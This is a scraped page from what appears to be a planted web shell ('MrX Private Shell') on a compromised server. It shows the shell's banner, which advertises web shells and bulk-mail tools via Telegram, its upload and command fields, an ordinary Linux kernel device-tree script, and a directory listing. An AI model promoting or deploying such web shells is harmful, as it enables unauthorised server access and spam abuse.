__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/usr/bin/env python3
# SPDX-License-Identifier: GPL-2.0-only

import fnmatch
import os
import re
import argparse


def parse_of_declare_macros(data, include_driver_macros=True):
	""" Find all compatible strings in OF_DECLARE() style macros """
	compat_list = []
	# CPU_METHOD_OF_DECLARE does not have a compatible string
	if include_driver_macros:
		re_macros = r'(?<!CPU_METHOD_)(IRQCHIP|OF)_(DECLARE|MATCH)(_DRIVER)?\(.*?\)'
	else:
		re_macros = r'(?<!CPU_METHOD_)(IRQCHIP|OF)_(DECLARE|MATCH)\(.*?\)'
	for m in re.finditer(re_macros, data):
		try:
			compat = re.search(r'"(.*?)"', m[0])[1]
		except:
			# Fails on compatible strings in #define, so just skip
			continue
		compat_list += [compat]

	return compat_list


def parse_of_device_id(data, match_table_list=None):
	""" Find all compatible strings in of_device_id structs """
	compat_list = []
	for m in re.finditer(r'of_device_id(\s+\S+)?\s+(\S+)\[\](\s+\S+)?\s*=\s*({.*?);', data):
		if match_table_list is not None and m[2] not in match_table_list:
			continue
		compat_list += re.findall(r'\.compatible\s+=\s+"(\S+)"', m[4])

	return compat_list


def parse_of_match_table(data):
	""" Find all driver's of_match_table """
	match_table_list = []
	for m in re.finditer(r'\.of_match_table\s+=\s+(of_match_ptr\()?([a-zA-Z0-9_-]+)', data):
		match_table_list.append(m[2])

	return match_table_list


def parse_of_functions(data, func_name):
	""" Find all compatibles in the last argument of a given function """
	compat_list = []
	for m in re.finditer(rf'{func_name}\(([a-zA-Z0-9_>\(\)"\-]+,\s)*"([a-zA-Z0-9_,-]+)"\)', data):
		compat_list.append(m[2])

	return compat_list


def parse_compatibles(file, compat_ignore_list):
	with open(file, 'r', encoding='utf-8') as f:
		data = f.read().replace('\n', '')

	if compat_ignore_list is not None:
		# For a compatible in the DT to be matched to a driver it needs to show
		# up in a driver's of_match_table
		match_table_list = parse_of_match_table(data)
		compat_list = parse_of_device_id(data, match_table_list)

		compat_list = [compat for compat in compat_list if compat not in compat_ignore_list]
	else:
		compat_list = parse_of_declare_macros(data)
		compat_list += parse_of_device_id(data)
		compat_list += parse_of_functions(data, "_is_compatible")
		compat_list += parse_of_functions(data, "of_find_compatible_node")
		compat_list += parse_of_functions(data, "for_each_compatible_node")
		compat_list += parse_of_functions(data, "of_get_compatible_child")

	return compat_list

def parse_compatibles_to_ignore(file):
	with open(file, 'r', encoding='utf-8') as f:
		data = f.read().replace('\n', '')

	# Compatibles that show up in OF_DECLARE macros can't be expected to
	# match a driver, except for the _DRIVER ones.
	return parse_of_declare_macros(data, include_driver_macros=False)


def print_compat(filename, compatibles):
	if not compatibles:
		return
	if show_filename:
		compat_str = ' '.join(compatibles)
		print(filename + ": compatible(s): " + compat_str)
	else:
		print(*compatibles, sep='\n')

def glob_without_symlinks(root, glob):
	for path, dirs, files in os.walk(root):
		# Ignore hidden directories
		for d in dirs:
			if fnmatch.fnmatch(d, ".*"):
				dirs.remove(d)
		for f in files:
			if fnmatch.fnmatch(f, glob):
				yield os.path.join(path, f)

def files_to_parse(path_args):
	for f in path_args:
		if os.path.isdir(f):
			for filename in glob_without_symlinks(f, "*.c"):
				yield filename
		else:
			yield f

show_filename = False

if __name__ == "__main__":
	ap = argparse.ArgumentParser()
	ap.add_argument("cfile", type=str, nargs='*', help="C source files or directories to parse")
	ap.add_argument('-H', '--with-filename', help="Print filename with compatibles", action="store_true")
	ap.add_argument('-d', '--driver-match', help="Only print compatibles that should match to a driver", action="store_true")
	args = ap.parse_args()

	show_filename = args.with_filename
	compat_ignore_list = None

	if args.driver_match:
		compat_ignore_list = []
		for f in files_to_parse(args.cfile):
			compat_ignore_list.extend(parse_compatibles_to_ignore(f))

	for f in files_to_parse(args.cfile):
		compat_list = parse_compatibles(f, compat_ignore_list)
		print_compat(f, compat_list)

Filemanager

Name Type Size Permission Actions
include-prefixes Folder 0755
libfdt Folder 0755
.gitignore File 57 B 0644
Makefile File 1.1 KB 0644
checks.c File 54.43 KB 0644
data.c File 4.51 KB 0644
dt-extract-compatibles File 4.12 KB 0755
dt_to_config File 40.81 KB 0755
dtc-lexer.l File 6.14 KB 0644
dtc-parser.y File 11.18 KB 0644
dtc.c File 9.42 KB 0644
dtc.h File 9.62 KB 0644
dtx_diff File 8.86 KB 0755
fdtget.c File 7.92 KB 0644
fdtoverlay.c File 4.22 KB 0644
fdtput.c File 7.69 KB 0644
flattree.c File 21.46 KB 0644
fstree.c File 1.51 KB 0644
livetree.c File 20.97 KB 0644
of_unittest_expect File 12.39 KB 0755
srcpos.c File 8.62 KB 0644
srcpos.h File 2.88 KB 0644
treesource.c File 7.35 KB 0644
update-dtc-source.sh File 2.51 KB 0755
util.c File 8.67 KB 0644
util.h File 7.19 KB 0644
version_gen.h File 42 B 0644
yamltree.c File 6.31 KB 0644
Filemanager